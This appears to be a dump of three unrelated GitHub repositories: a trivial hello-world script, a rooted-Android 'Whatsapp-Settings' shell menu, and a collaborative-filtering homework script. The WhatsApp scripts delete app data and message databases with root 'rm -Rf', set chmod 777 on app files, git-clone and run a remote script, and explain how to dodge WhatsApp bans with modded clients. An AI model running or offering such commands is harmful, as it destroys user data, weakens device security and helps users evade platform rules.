29193a92e051769b7fbcc975b3e009aba0472730
a7e6faa1925789a96ad97643a4bdce51375e3542
refs/heads/master
<repo_name>n1610457/HelloPython<file_sep>/hogehoge.py print("Hello World.") print("My name is hoge.py") print("Nice to meet you.")
6d3fbce0b385b0dda674b327cc7f373e7e4673e8
[ "Python" ]
1
Python
n1610457/HelloPython
42ea174b450cd4406fff253b507b25117b3bee1a
fdba65c5cfa7fcb50dc8fce8c7e35d9dda6267f7
refs/heads/master
<file_sep>echo -e "\033[1;92m" echo "_ _ _ _ _ ____ ___ ____ ____ ___ ___ | | | |__| |__| | [__ |__| |__] |__] |_|_| | | | | | ___] | | | | " echo -e "\033[1;93m" echo "_ _ ____ _ _ _ _ |\/| |___ |\ | | | | | |___ | \| |__| " echo echo -e "\033[1;92m" echo " Rooted package >>>" echo echo echo -e "\033[1;96m" echo " [ 1 ] Whatsapp Clear Data" echo echo " [ 2 ] Whatsapp All Chat delete" echo echo " [ 3 ] Whatsapp Uninstall" echo echo " [ 4 ] Whatsapp Stickers Delete" echo echo " [ 5 ] Whatsapp Log Delete" echo echo " [ 6 ] Copy Whatsapp Logs" echo echo " [ 7 ] Copy Whatsapp Stickers" echo echo " [ 8 ] Copy Whatsapp Avatars" echo echo " [ 9 ] Whatsapp Avatars Delete" echo echo " [ 10 ] Whatsapp Chat Backup" echo echo " [ 11 ] Whatsapp Chat Restore" echo echo " [ 12 ] Whatsapp setting Update" echo echo " [ 13 ] Whatsapp Stickers Backup" echo echo " [ 14 ] Whatsapp Stickers Restore" echo echo -e "\033[1;94m" echo " Without Root >>>" echo echo echo " [ 15 ] Whatsapp Anti-Ban Method in hindi" echo echo -e "\033[92m◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆ \033[1;96m16.Exit \033[1;92m◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆" echo -e "\e[1;91m" read -p ' Whatsapp >>' opt echo -e "\e[1;93m" if [ $opt -eq 1 ];then echo -e "\033[1;93m" clear echo "please wait...." rm -Rf /data/data/com.whatsapp/* sleep 5 echo echo "Successfully cleared data" sleep 2 bash menu.sh fi if [ $opt -eq 2 ];then echo -e "\033[1;93m" clear echo "please wait......." rm -f /data/data/com.whatsapp/databases/msgstore.db sleep 5 echo "successfully chat deleted" sleep 2 bash menu.sh fi if [ $opt -eq 3 ];then echo -e "\033[1;93m" clear echo "please wait......" tsu -c rm -Rf /data/app/com.whatsapp* sleep 5 echo "Successfully uninstalled (reboot needed)" sleep 2 bash menu.sh fi if [ $opt -eq 4 ];then echo -e "\033[1;93m" clear echo "please wait....." rm -Rf /data/data/com.whatsapp/files/Stickers rm -f /data/data/com.whatsapp/databases/stickers.db sleep 5 echo "Successfully deleted stickers" sleep 2 bash menu.sh fi if [ $opt -eq 5 ];then clear echo -e "\033[1;93m" echo "please wait......." rm -Rf /data/data/com.whatsapp/files/Logs sleep 5 echo "Successfully deleted Whatsapp Logs" sleep 2 bash menu.sh fi if [ $opt -eq 6 ];then clear echo -e "\033[1;93m" echo "please wait......" cp -Rf /data/data/com.whatsapp/files/Logs /sdcard/WHATSAPP-FILES/Logs sleep 5 echo "Successfully Copied Whatsapp Logs in WHATSAPP-FILES" sleep 2 bash menu.sh fi if [ $opt -eq 7 ];then echo -e "\033[1;93m" clear echo "please wait........" cp -Rf /data/data/com.whatsapp/files/Stickers /sdcard/WHATSAPP-FILES echo "Successfully Copied Stickers in WHATSAPP-FILES" sleep 2 bash menu.sh fi if [ $opt -eq 8 ];then clear echo -e "\033[1;93m" echo "please wait......." cp -Rf /data/data/com.whatsapp/files/Avatars /sdcard/WHATSAPP-FILES/Avatars sleep 5 echo "Successfully Copied Whatsapp Avatars in WHATSAPP-FILES" sleep 2 bash menu.sh fi if [ $opt -eq 9 ];then clear echo -e "\033[1;93m" echo "please wait......." rm -Rf /data/data/com.whatsapp/files/Avatars sleep 5 echo "Successfully Deleted Whatsapp Avatars" sleep 2 bash menu.sh fi if [ $opt -eq 10 ];then echo "Please wait......" cp -f /data/data/com.whatsapp/databases/msgstore.db /sdcard/WHATSAPP-FILES sleep 3 echo "Successfully Backuped" Whatsapp fi if [ $opt -eq 11 ];then echo "please wait....." cp -f /sdcard/WHATSAPP-FILES/msgstore.db /data/data/com.whatsapp/databases echo "Successfully restored" Whatsapp fi if [ $opt -eq 12 ];then echo "please wait......" rm -Rf $HOME/Whatsapp-Settings cd $HOME git clone https://github.com/android-rooted/Whatsapp-Settings cd Whatsapp-Settings bash set.sh fi if [ $opt -eq 13 ];then clear echo -e "\033[1;92m Backuping ........." sleep 2 cp -Rf /data/data/com.whatsapp/files/Stickers /sdcard/WHATSAPP-FILES/BACKUP_STICKER cp -f /data/data/com.whatsapp/databases/stickers.db /sdcard/WHATSAPP-FILES/BACKUP_STICKER clear echo -e "\033[1;93m Successfully Backuped" Whatsapp fi if [ $opt -eq 14 ];then clear echo -e "\033[1;92m Restoring ........" sleep 2 rm -f /data/data/com.whatsapp/databases/stickers.db rm -Rf /data/data/com.whatsapp/files/Stickers cp -f /sdcard/WHATSAPP-FILES/BACKUP_STICKER/stickers.db /data/data/com.whatsapp/databases cp -Rf /sdcard/WHATSAPP-FILES/BACKUP_STICKER/Stickers /data/data/com.whatsapp/files chmod 777 -R /data/data/com.whatsapp/files/Stickers chmod 777 /data/data/com.whatsapp/databses/stickers.db clear echo -e "\033[96m Successfull Restored Stickers" Whatsapp fi if [ $opt -eq 15 ];then clear echo -e "\033[1;96m" sleep 2 echo -e "\033[1;96m" echo "WHATSAPP ANTI-BAN KE LIYE SABSE PHLE OFFICIAL WHATSAPP INSTALL KRO OR APNA NUMBER KHOLO USME USKE BAD TITANIUM BACKUP DOWNLOAD KRO FIR TITANIUM BACKUP SE WHATSAPP KA BACKUP LO FIR WHATSAPP UNINSTALL KR DO FIR KOI V MODDED WHATSAPP DOWNLOAD KRO LEKIN USKA PACKAGE NAME com.whatsapp HONA CHAHIYE WO INSTALL KRO FIR TITANIUM BACKUP SE RESTORE KRO OR USKE BAD TUMHARA WHATSAPP MODDED WHATSAPP ME KHUL JAYEGA LEKIN VERIFY OFFICIAL ME RHNE KE KARN WHATSAPP BAN NHI HOGA." fi if [ $opt -eq 16 ];then exit exit fi <file_sep>apt update apt upgrade apt-get install tsu clear echo -e "\033[1;92m" echo "_ _ _ _ _ ____ ___ ____ ____ ___ ___ | | | |__| |__| | [__ |__| |__] |__] |_|_| | | | | | ___] | | | | " echo -e "\033[1;93m" echo "_ _ ____ _ _ _ _ |\/| |___ |\ | | | | | |___ | \| |__| " echo echo -e "\033[1;96m" echo "Rooted package" echo echo "1.Whatsapp Clear Data" echo "2.Whatsapp All Chat delete" echo "3.Whatsapp Uninstall" echo "4.Whatsapp Stickers Delete" echo "5.Whatsapp Log Delete" echo "6.Copy Whatsapp Logs" echo "7.Copy Whatsapp Stickers" echo "8.Copy Whatsapp Avatars" echo "9.Whatsapp Avatars Delete" echo echo -e "\033[1;93m" echo "Without Root" echo echo "10.Whatsapp Anti-Ban Method in hindi" echo -e "\e[1;91m" read -p 'select_option >' opt echo -e "\e[1;93m" if [ $opt -eq 1 ];then echo -e "\033[1;93m" clear echo "please wait...." tsu -c rm -Rf /data/data/com.whatsapp/* sleep 5 echo echo "Successfully cleared data" sleep 2 cd $HOME/Whatsapp-Settings bash menu.sh fi if [ $opt -eq 2 ];then echo -e "\033[1;93m" clear echo "please wait......." tsu -c rm -f /data/data/com.whatsapp/databases/msgstore.db sleep 5 echo "successfully chat deleted" sleep 2 cd $HOME/Whatsapp-Settings bash menu.sh fi if [ $opt -eq 3 ];then echo -e "\033[1;93m" clear echo "please wait......" tsu -c rm -Rf /data/app/com.whatsapp* sleep 5 echo "Successfully uninstalled (reboot needed)" sleep 2 cd $HOME/Whatsapp-Settings bash menu.sh fi if [ $opt -eq 4 ];then echo -e "\033[1;93m" clear echo "please wait....." tsu -c rm -Rf /data/data/com.whatsapp/files/Stickers tsu -c rm -f /data/data/com.whatsapp/databases/stickers.db sleep 5 echo "Successfully deleted stickers" sleep 2 cd $HOME/Whatsapp-Settings bash menu.sh fi if [ $opt -eq 5 ];then clear echo -e "\033[1;93m" echo "please wait......." tsu -c rm -Rf /data/data/com.whatsapp/files/Logs sleep 5 echo "Successfully deleted Whatsapp Logs" sleep 2 cd $HOME/Whatsapp-Settings bash menu.sh fi if [ $opt -eq 6 ];then clear echo -e "\033[1;93m" echo "please wait......" tsu -c cp -Rf /data/data/com.whatsapp/files/Logs /sdcard/WHATSAPP-FILES/Logs sleep 5 echo "Successfully Copied Whatsapp Logs in WHATSAPP-FILES" sleep 2 cd $HOME/Whatsapp-Settings bash menu.sh fi if [ $opt -eq 7 ];then echo -e "\033[1;93m" clear echo "please wait........" tsu -c cp -Rf /data/data/com.whatsapp/files/Stickers /sdcard/WHATSAPP-FILES echo "Successfully Copied Stickers in WHATSAPP-FILES" sleep 2 cd $HOME/Whatsapp-Settings bash menu.sh fi if [ $opt -eq 8 ];then clear echo -e "\033[1;93m" echo "please wait......." tsu -c cp -Rf /data/data/com.whatsapp/files/Avatars /sdcard/WHATSAPP-FILES/Avatars sleep 5 echo "Successfully Copied Whatsapp Avatars in WHATSAPP-FILES" sleep 2 cd $HOME/Whatsapp-Settings bash menu.sh fi if [ $opt -eq 9 ];then clear echo -e "\033[1;93m" echo "please wait......." tsu -c rm -Rf /data/data/com.whatsapp/files/Avatars sleep 5 echo "Successfully Deleted Whatsapp Avatars" sleep 2 cd $HOME/Whatsapp-Settings bash menu.sh fi if [ $opt -eq 10 ];then clear echo -e "\033[1;96m" sleep 2 echo -e "\033[1;96m" echo "WHATSAPP ANTI-BAN KE LIYE SABSE PHLE OFFICIAL WHATSAPP INSTALL KRO OR APNA NUMBER KHOLO USME USKE BAD TITANIUM BACKUP DOWNLOAD KRO FIR TITANIUM BACKUP SE WHATSAPP KA BACKUP LO FIR WHATSAPP UNINSTALL KR DO FIR KOI V MODDED WHATSAPP DOWNLOAD KRO LEKIN USKA PACKAGE NAME com.whatsapp HONA CHAHIYE WO INSTALL KRO FIR TITANIUM BACKUP SE RESTORE KRO OR USKE BAD TUMHARA WHATSAPP MODDED WHATSAPP ME KHUL JAYEGA LEKIN VERIFY OFFICIAL ME RHNE KE KARN WHATSAPP BAN NHI HOGA." fi <file_sep>echo -e "\033[1;92m" echo "please wait...." apt update apt upgrade apt-get install figlet apt-get install tsu clear echo "Requirements Installed" sleep 2 figlet Whatsapp figlet Settings echo echo "Whatsapp setting setup ho rha hai" echo cp -f Whatsapp $PREFIX/bin chmod 777 $PREFIX/bin/Whatsapp sleep 3 toilet -F gay Complete echo echo -e "\033[1;96m" echo "( Whatsapp ) Command dal ke use kr sakte ho" echo echo -e "\033[91m NOTE:- Ye package only rooted ke liye hai isliye use krne se phle \033[1;92m tsu ka use krna" <file_sep># Whatsapp-Settings Installation:- apt update apt upgrade apt-get install tsu tsu git clone https://github.com/Android-Maruf/Whatsapp-Settings cd Whatsapp-Settings bash Whatsapp_menu.sh root needed
256b2e361bd688e71a1455f015c9faf782a868a3
[ "Markdown", "Shell" ]
4
Shell
Aariyana/Whatsapp-Settings
0240ef22419a961a3cfbcce326924b78eac11811
021a6bcccec754ac7495c76def8261aa4d4e76e2
refs/heads/master
<file_sep>import os import math import random import sys import scipy from scipy.sparse import csr_matrix as csr from scipy.sparse import csc_matrix as csc import numpy as np import itertools from math import log, exp import collections import operator from os import listdir from os.path import isfile, join import params import hw2 import heapq import Queue as Q from operator import truediv import time class CollabFiltering(object): def train_file_to_imputed_csr(self, file_name): ''' Converts training set of user-movie ratings to csr matrix Parameters: file_name: file containing the training set ratings ''' f = open(file_name, 'r') row_arr = [] col_arr = [] val_arr = [] max_row = 0 max_col = 0 for line in iter(lambda: f.readline().rstrip(), ''): arr = line.split(',') col = int(arr[0]) row = int(arr[1]) col_arr.append(col) row_arr.append(row) val_arr.append(float(arr[2])-3) if col>max_col: max_col = col if row>max_row: max_row = row return csr((val_arr, (row_arr, col_arr)), shape=(max_row+1, max_col+1)) def dev_file_parse(self, file_name): ''' Obtains the dev tuples (movieID, userID) from the dev file Parameters: file_name: file containing the tuples ''' f = open(file_name, 'r') user_movie_list = [] for line in iter(lambda: f.readline().rstrip(), ''): arr = line.split(',') movieID = int(arr[0]) userID = int(arr[1]) item = [userID, movieID] user_movie_list.append(item) return user_movie_list def get_mod_vector(self, mat, axis): ''' Returns the mod value of the rows or columns of the matrix based on the axis parameter Parameters: mat: the matrix for which the mod values are desired axis: 1=rows, 0=columns ''' mat = mat.multiply(mat) #element-wise multiplication vec = mat.sum(axis=axis) sqrt_vec = np.sqrt(vec) if axis==0: shape_var = 1 else: shape_var = 0 ret_list_with_zeros = sqrt_vec.reshape(sqrt_vec.shape[shape_var]).tolist()[0] ret_list = [] for val in ret_list_with_zeros: if val > 0: ret_list.append(val) else: ret_list.append(1.0) return ret_list def heapify_and_get_smallest_k(self, arr, ID, k): ''' Create heap of negative values of elements, and return smallest k elements except for the ID Parameters: arr: array to be converted to heap ID: ID of the element to not be considered in the heap k: value of k from kNN ''' heap = [(-1.0*j,i) for (i,j) in enumerate(arr)] heapq.heapify(heap) ret_list = [[item[0], item[1]] for item in heapq.nsmallest(k+1, heap)] #[dotp_score, neighbor_index] #q = Q.PriorityQueue() #index = 0 #ret_list = [] #for val in arr: # q.put((-1*val, index)) # index += 1 #for i in range(k+1): # ret_list.append(q.get()) remove_index = 0 for item in ret_list: if item[1]==ID: break remove_index += 1 if remove_index == (k+1): remove_index -= 1 del ret_list[remove_index] return ret_list def memory_based_CF(self, train_csr, userID, movieID, user_mod_value_list, k): ''' This procedure performs memory-based collaborative filtering for a given (userID, movieID) query by using the kNN procedure, to produce the rating for the userID-movieID pair. It returns the mean and weighted average ratings for dot product and cosine similarity scores Parameters: train_csr: training matrix (userID-movieID) in csr_matrix format userID: user ID movieID: movie ID user_mod_value_list: vector containing length of each user vector in the training matrix k: value of k for kNN ''' if not userID in self.memory_cache_cosine: knn_dotp_list, knn_cosine_list = self.user_kNN(train_csr, userID, user_mod_value_list, k) else: knn_dotp_list = self.memory_cache_dotp[userID] knn_cosine_list = self.memory_cache_cosine[userID] #calculate mean rating based on dot product mean_rating_sum_dotp = 0.0 wt_rating_sum_dotp = 0.0 for element in knn_dotp_list: #[score, id] pair #local_rating = train_csr.getrow(element[1]).getcol(movieID).data #if len(local_rating) != 0: # mean_rating_sum_dotp += local_rating[0] # wt_rating_sum_dotp += local_rating[0] * element[0] local_rating = train_csr[element[1], movieID] mean_rating_sum_dotp += local_rating wt_rating_sum_dotp += local_rating * element[0] mean_rating_dotp = mean_rating_sum_dotp*1.0/k + 3 norm_factor = sum([abs(val[0]) for val in knn_dotp_list]) if not norm_factor > 0: norm_factor = 1.0 wt_rating_dotp = wt_rating_sum_dotp*1.0/(k*norm_factor) + 3 #calculate mean rating and weighted rating based on cosine distances mean_rating_sum_cosine = 0.0 wt_rating_sum_cosine = 0.0 for element in knn_cosine_list: #[score, id] pair #local_rating = train_csr.getrow(element[1]).getcol(movieID).data #if len(local_rating) != 0: #mean_rating_sum_cosine += local_rating[0] #wt_rating_sum_cosine += local_rating[0] * element[0] local_rating = train_csr[element[1], movieID] mean_rating_sum_cosine += local_rating wt_rating_sum_cosine += local_rating * element[0] mean_rating_cosine = mean_rating_sum_cosine*1.0/k + 3 norm_factor = sum([abs(val[0]) for val in knn_cosine_list]) if not norm_factor > 0: norm_factor = 1.0 wt_rating_cosine = wt_rating_sum_cosine*1.0/(k*norm_factor) + 3 return mean_rating_dotp, mean_rating_cosine, wt_rating_dotp, wt_rating_cosine def user_kNN(self, train_csr, userID, user_mod_value_list, k): ''' Gets the k nearest neighbors of a user vector from the matrix based on: (i) dot product similarity (ii) cosine similarity Parameters: train_csr: training matrix (userID-movieID) in csr_matrix format userID: user ID user_mod_value_list: vector containing length of each user vector in the training matrix k: value of k for kNN ''' user_dotp = train_csr.getrow(userID).dot(train_csr.transpose().tocsc()) user_dotp_arr = user_dotp.toarray()[0] user_dotp_top_list = [[-1.0*item[0], item[1]] for item in self.heapify_and_get_smallest_k(user_dotp_arr, userID, k)] self.memory_cache_dotp[userID] = user_dotp_top_list userID_dist = math.sqrt(user_dotp_arr[userID]) if not userID_dist > 0: userID_dist = 1.0 cosine_distances = [prod/userID_dist for prod in np.divide(user_dotp_arr, user_mod_value_list).tolist()] top_cosine_list = [[(1.0-item[0])/2, item[1]] for item in self.heapify_and_get_smallest_k(cosine_distances, userID, k)] #(1+cos_score)/2 #top_cosine_list = [[-1.0*item[0], item[1]] for item in self.heapify_and_get_smallest_k(cosine_distances, userID, k)] self.memory_cache_cosine[userID] = top_cosine_list return user_dotp_top_list, top_cosine_list def model_based_CF(self, A, train_csr, userID, movieID, movie_mod_value_list, k): ''' This procedure performs model-based collaborative filtering for a given (userID, movieID) query by using the kNN procedure, to produce the rating for the userID-movieID pair. It returns the mean and weighted average ratings for dot product and cosine similarity scores Parameters: A: movie-movie dot product matrix train_csr: training matrix (userID-movieID) in csr_matrix format userID: user ID movieID: movie ID movie_mod_value_list: vector containing length of each movie vector in the training matrix k: value of k for kNN ''' if not movieID in self.model_cache_dotp: knn_dotp_list, knn_cosine_list = self.movie_kNN(A, movieID, movie_mod_value_list, k) else: knn_dotp_list = self.model_cache_dotp[movieID] knn_cosine_list = self.model_cache_cosine[movieID] mean_rating_sum_dotp = 0.0 wt_rating_sum_dotp = 0.0 #user_row = train_csr.getrow(userID) for element in knn_dotp_list: #[score, id] pair #local_rating = user_row.getcol(element[1]).data #if len(local_rating) != 0: # mean_rating_sum_dotp += local_rating[0] # wt_rating_sum_dotp += local_rating[0] * element[0] local_rating = train_csr[userID, element[1]] mean_rating_sum_dotp += local_rating wt_rating_sum_dotp += local_rating * element[0] mean_rating_dotp = mean_rating_sum_dotp/k + 3 norm_factor = sum([abs(val[0]) for val in knn_dotp_list]) if not norm_factor > 0: norm_factor = 1.0 wt_rating_dotp = 0.0 wt_rating_dotp = wt_rating_sum_dotp*1.0/(k*norm_factor) + 3 mean_rating_sum_cosine = 0.0 wt_rating_sum_cosine = 0.0 #user_row = train_csr.getrow(userID) for element in knn_cosine_list: #[score, id] pair #local_rating = user_row.getcol(element[1]).data #if len(local_rating) != 0: # mean_rating_sum_cosine += local_rating[0] # wt_rating_sum_cosine += local_rating[0] * element[0] local_rating = train_csr[userID, element[1]] mean_rating_sum_cosine += local_rating wt_rating_sum_cosine += local_rating * element[0] mean_rating_cosine = mean_rating_sum_cosine*1.0/k + 3 norm_factor = sum([abs(val[0]) for val in knn_cosine_list]) if not norm_factor > 0: norm_factor = 1.0 wt_rating_cosine = wt_rating_sum_cosine*1.0/(k*norm_factor) + 3 return mean_rating_dotp, mean_rating_cosine, wt_rating_dotp, wt_rating_cosine def movie_kNN(self, A, movieID, movie_mod_value_list, k): ''' Gets the k nearest neighbors of an movie vector from the movie-movie matrix based on: (i) dot product similarity and (ii) cosine similarity Parameters: A: movie-movie dot product matrix movieID: movie ID movie_mod_value_list: vector containing length of each movie vector in the training matrix k: value of k for kNN ''' #get the top k nearest neighbors based on dot product movie_dotp_row_arr = A.getrow(movieID).toarray()[0] movie_dotp_top_list = [[-1.0*item[0], item[1]] for item in self.heapify_and_get_smallest_k(movie_dotp_row_arr, movieID, k)] self.model_cache_dotp[movieID] = movie_dotp_top_list #get the top k nearest neighbors based on dot product #movie_dotp_row_arr = A.getrow(movieID).toarray()[0] movie_dist = movie_mod_value_list[movieID] if not movie_dist > 0: movie_dist = 1.0 #divide the entire movie ID row by the mod value of the vector corresponding to the movie ID row movie_cosine_row_arr = [item/movie_dist for item in movie_dotp_row_arr] #divide the entire movie ID row by the mod value of the vector corresponding to individual movie ID columns movie_cosine_row_arr = map(truediv, movie_cosine_row_arr, movie_mod_value_list) movie_cosine_top_list = [[(1.0-item[0])/2, item[1]] for item in self.heapify_and_get_smallest_k(movie_cosine_row_arr, movieID, k)] self.model_cache_cosine[movieID] = movie_cosine_top_list return movie_dotp_top_list, movie_cosine_top_list def cpp_CF(self, A, train_csr, userID, movieID, k): ''' This procedure performs CPP-based collaborative filtering for a given (userID, movieID) query by using the kNN procedure, to produce the rating for the userID-movieID pair. It returns the mean and weighted average ratings for dot product and cosine similarity scores (which are the same in this case) Parameters: A: PCC normalized movie-movie dot product matrix train_csr: PCC (normalized) training matrix (userID-movieID) in csr_matrix format userID: user ID movieID: movie ID k: value of k for kNN ''' if not movieID in self.model_cache_cosine: movie_dotp_row_arr = A.getrow(movieID).toarray()[0] knn_cosine_list = [[(1.0-item[0])/2, item[1]] for item in self.heapify_and_get_smallest_k(movie_dotp_row_arr, movieID, k)] self.model_cache_cosine[movieID] = knn_cosine_list else: knn_cosine_list = self.model_cache_cosine[movieID] mean_rating_sum_cosine = 0.0 wt_rating_sum_cosine = 0.0 for element in knn_cosine_list: #[score, id] pair local_rating = train_csr[userID, element[1]]#train_csr.getcol(element[1]).getrow(userID).data mean_rating_sum_cosine += ((1+local_rating)/2) wt_rating_sum_cosine += ((1+local_rating)/2) * element[0] # if len(local_rating) != 0: # mean_rating_sum_cosine += ((1+local_rating[0])/2) # wt_rating_sum_cosine += ((1+local_rating[0])/2) * element[0] # else: # mean_rating_sum_cosine += (1./2) # wt_rating_sum_cosine += (1./2) * element[0] mean_rating_cosine = mean_rating_sum_cosine*1.0/k + 3 norm_factor = sum([abs(val[0]) for val in knn_cosine_list]) if not norm_factor > 0: norm_factor = 1.0 wt_rating_cosine = wt_rating_sum_cosine*1.0/(k*norm_factor) + 3 return mean_rating_cosine, mean_rating_cosine, wt_rating_cosine, wt_rating_cosine def get_user_cluster_id(self, train_csr, userID, row_agg_mat, user_mod_value_list): ''' Returns the cluster ID that is closest to the userID row vector in the training matrix Parameters: train_csr: training matrix (userID-movieID) userID: user ID in the query row_agg_mat: row aggregated matrix (row/user clusters) user_mod_value_list: mod value list for the users ''' user_row = train_csr.getrow(userID) user_dotp_arr = user_row.dot(row_agg_mat.transpose()).toarray()[0] cosine_distances = np.divide(user_dotp_arr, user_mod_value_list) return np.argmax(cosine_distances) def get_movie_cluster_id(self, train_csr, movieID, col_agg_mat, movie_mod_value_list): ''' Returns the cluster ID that is closest to the movieID column vector in the training matrix Parameters: train_csr: training matrix (userID-movieID) userID: user ID in the query col_agg_mat: col aggregated matrix (col/movie clusters) movie_mod_value_list: mod values list for movies ''' movie_row = train_csr.transpose().getrow(movieID) movie_dotp_arr = movie_row.dot(col_agg_mat).toarray()[0] cosine_distances = np.divide(movie_dotp_arr, movie_mod_value_list) return np.argmax(cosine_distances) def add_to_string(self, str1, str2, str3, str4, val1, val2, val3, val4): ''' Add and return data from and to strings. ''' str1 = str1 + str(val1) + '\n' str2 = str2 + str(val2) + '\n' str3 = str3 + str(val3) + '\n' str4 = str4 + str(val4) + '\n' return str1, str2, str3, str4 def write_to_file(self, str1, str2, str3, str4): ''' Print strings to files ''' f1 = open(params.out_file1, 'w') f2 = open(params.out_file2, 'w') f3 = open(params.out_file3, 'w') f4 = open(params.out_file4, 'w') f1.write(str1) f2.write(str2) f3.write(str3) f4.write(str4) def save_sparse_csr(self, filename, array): ''' Saves a sparse matrix; used for storing the collaborative filtering clusters ''' np.savez(filename,data = array.data ,indices=array.indices, indptr=array.indptr, shape=array.shape ) def load_sparse_csr(self, filename): ''' Loads a sparse matrix; used for loading the collaborative filtering clusters ''' loader = np.load(filename) return csr((loader['data'], loader['indices'], loader['indptr']), shape=loader['shape']) if __name__=='__main__': if len(sys.argv)!=1: print "Format: python main.py" sys.exit(0) train_file = params.train_file dev_file = params.dev_file #test_file = params.test_file k = params.k #objects and file input obj = CollabFiltering() hw2_obj = hw2.Clustering() train_csr = obj.train_file_to_imputed_csr(train_file) dev_user_movie_list = obj.dev_file_parse(dev_file) #cache obj.memory_cache_dotp = {} obj.memory_cache_cosine = {} obj.model_cache_dotp = {} obj.model_cache_cosine = {} str1 = str2 = str3 = str4 = '' #EXP 1: memory-based approach if params.experiment == '1': user_mod_value_list = obj.get_mod_vector(train_csr, 1) for user_movie_pair in dev_user_movie_list: mean_rating_dotp, mean_rating_cosine, wt_rating_dotp, wt_rating_cosine = obj.memory_based_CF(train_csr, user_movie_pair[0], user_movie_pair[1], user_mod_value_list, k) #wt_rating_cosine = obj.memory_based_CF(train_csr, user_movie_pair[0], user_movie_pair[1], user_mod_value_list, k) str1, str2, str3, str4 = obj.add_to_string(str1, str2, str3, str4, mean_rating_dotp, mean_rating_cosine, wt_rating_cosine, wt_rating_dotp) obj.write_to_file(str1, str2, str3, str4) #EXP 2: model-based approach if params.experiment == '2': movie_mod_value_list = obj.get_mod_vector(train_csr, 0) A = train_csr.transpose().dot(train_csr) for user_movie_pair in dev_user_movie_list: mean_rating_dotp, mean_rating_cosine, wt_rating_dotp, wt_rating_cosine = obj.model_based_CF(A, train_csr, user_movie_pair[0], user_movie_pair[1], movie_mod_value_list, k) str1, str2, str3, str4 = obj.add_to_string(str1, str2, str3, str4, mean_rating_dotp, mean_rating_cosine, wt_rating_cosine, wt_rating_dotp) obj.write_to_file(str1, str2, str3, str4) #EXP 3: PCC (movie-rating standardization) if params.experiment == '3': train_csr_tran = train_csr.transpose() mean_mat = train_csr_tran.mean(axis=1) #row-wise mean (5392*1) sum_mat = train_csr_tran.sum(axis=1) train_csr_tran_mean_norm = csr(train_csr_tran - mean_mat) #mean normalized training matrix train_mod_value_list = csr(obj.get_mod_vector(train_csr_tran_mean_norm, 1)).transpose() #sigma = 5392 x 1 train_csr_cpp_norm = csr(train_csr_tran_mean_norm.toarray().__mul__(1/train_mod_value_list.toarray())) #mean and root(variance) normalized train_csr_new = train_csr_cpp_norm.transpose() #10916 x 5392 A = csr(train_csr_tran.dot(train_csr) - sum_mat.dot(mean_mat.transpose()) - mean_mat.dot(sum_mat.transpose()) + train_csr.shape[1]*mean_mat.dot(mean_mat.transpose())) denom_mat = train_mod_value_list.dot(train_mod_value_list.transpose()) #5392 x 5392 denom_mat[denom_mat.toarray()==0] = 1. A = csr(A.toarray()/denom_mat.toarray()) for user_movie_pair in dev_user_movie_list: mean_rating_dotp, mean_rating_cosine, wt_rating_dotp, wt_rating_cosine = obj.cpp_CF(A, train_csr_new, user_movie_pair[0], user_movie_pair[1], k) #mean_rating_cosine = obj.cpp_CF(A, train_csr_new, user_movie_pair[0], user_movie_pair[1], k) str1, str2, str3, str4 = obj.add_to_string(str1, str2, str3, str4, mean_rating_dotp, mean_rating_cosine, wt_rating_cosine, wt_rating_dotp) obj.write_to_file(str1, str2, str3, str4) #EXP 4: clustering + CF #CLUSTERING PART if params.run_clustering and (params.experiment == '4(i)' or params.experiment == '4(ii)'): start_time = time.time() rowK = params.user_clusters colK = params.movie_clusters iterations = params.clustering_iterations col_agg_mat = train_csr row_agg_mat = train_csr row_mapping = [] col_mapping = [] for i in range(iterations): print 'Progress: Ongoing iteration', (i+1),'/',iterations col_mapping, cos_col_sum_ind = hw2_obj.k_means_col(row_agg_mat, colK) col_agg_mat = hw2_obj.col_agg(train_csr.transpose(), col_mapping, colK) row_mapping, cos_row_sum_ind = hw2_obj.k_means_row(col_agg_mat, rowK) row_agg_mat = hw2_obj.row_agg(train_csr.toarray(), row_mapping, rowK) cf_end_time = time.time() print "Collaborative Filtering time (in s): " + str(cf_end_time-start_time) row_agg_mat_norm = hw2_obj.normalize_rows(row_agg_mat, row_mapping) col_agg_mat_norm = hw2_obj.normalize_cols(col_agg_mat, col_mapping) obj.save_sparse_csr(params.cluster_row_file, row_agg_mat_norm) obj.save_sparse_csr(params.cluster_col_file, col_agg_mat_norm) #user-user if params.experiment == '4(i)': cluster_row_file = params.cluster_row_file + '.npz' row_agg_mat_norm = obj.load_sparse_csr(cluster_row_file) user_mod_value_list = obj.get_mod_vector(row_agg_mat_norm, 1) for user_movie_pair in dev_user_movie_list: #userID, movieID user_cluster_id = obj.get_user_cluster_id(train_csr, user_movie_pair[0], row_agg_mat_norm, user_mod_value_list) mean_rating_dotp, mean_rating_cosine, wt_rating_dotp, wt_rating_cosine = obj.memory_based_CF(row_agg_mat_norm, user_cluster_id, user_movie_pair[1], user_mod_value_list, k) str1, str2, str3, str4 = obj.add_to_string(str1, str2, str3, str4, mean_rating_dotp, mean_rating_cosine, wt_rating_cosine, wt_rating_dotp) obj.write_to_file(str1, str2, str3, str4) #movie-movie if params.experiment == '4(ii)': cluster_col_file = params.cluster_col_file + '.npz' col_agg_mat_norm = obj.load_sparse_csr(cluster_col_file) movie_mod_value_list = obj.get_mod_vector(col_agg_mat_norm, 0) A = col_agg_mat_norm.transpose().dot(col_agg_mat_norm) i = 1 for user_movie_pair in dev_user_movie_list: #userID, movieID movie_cluster_id = obj.get_movie_cluster_id(train_csr, user_movie_pair[1], col_agg_mat_norm, movie_mod_value_list) mean_rating_dotp, mean_rating_cosine, wt_rating_dotp, wt_rating_cosine = obj.model_based_CF(A, col_agg_mat_norm, user_movie_pair[0], movie_cluster_id, movie_mod_value_list, k) str1, str2, str3, str4 = obj.add_to_string(str1, str2, str3, str4, mean_rating_dotp, mean_rating_cosine, wt_rating_cosine, wt_rating_dotp) obj.write_to_file(str1, str2, str3, str4) <file_sep>import os import math import random import sys import scipy from scipy.sparse import csr_matrix as csr from scipy.sparse import csc_matrix as csc import numpy as np import itertools from math import log import subprocess from subprocess import check_output as get_out class Clustering(object): def file_to_csr(self, file_name): ''' Converts file to list of maps where each map represents a doc vector ''' f = open(file_name, 'r') count = 0 row_arr = [] col_arr = [] val_arr = [] max_col = 0 for line in iter(lambda: f.readline().rstrip(), ''): for x in line.split(' '): col = int(x.split(':')[0]) if col>max_col: max_col = 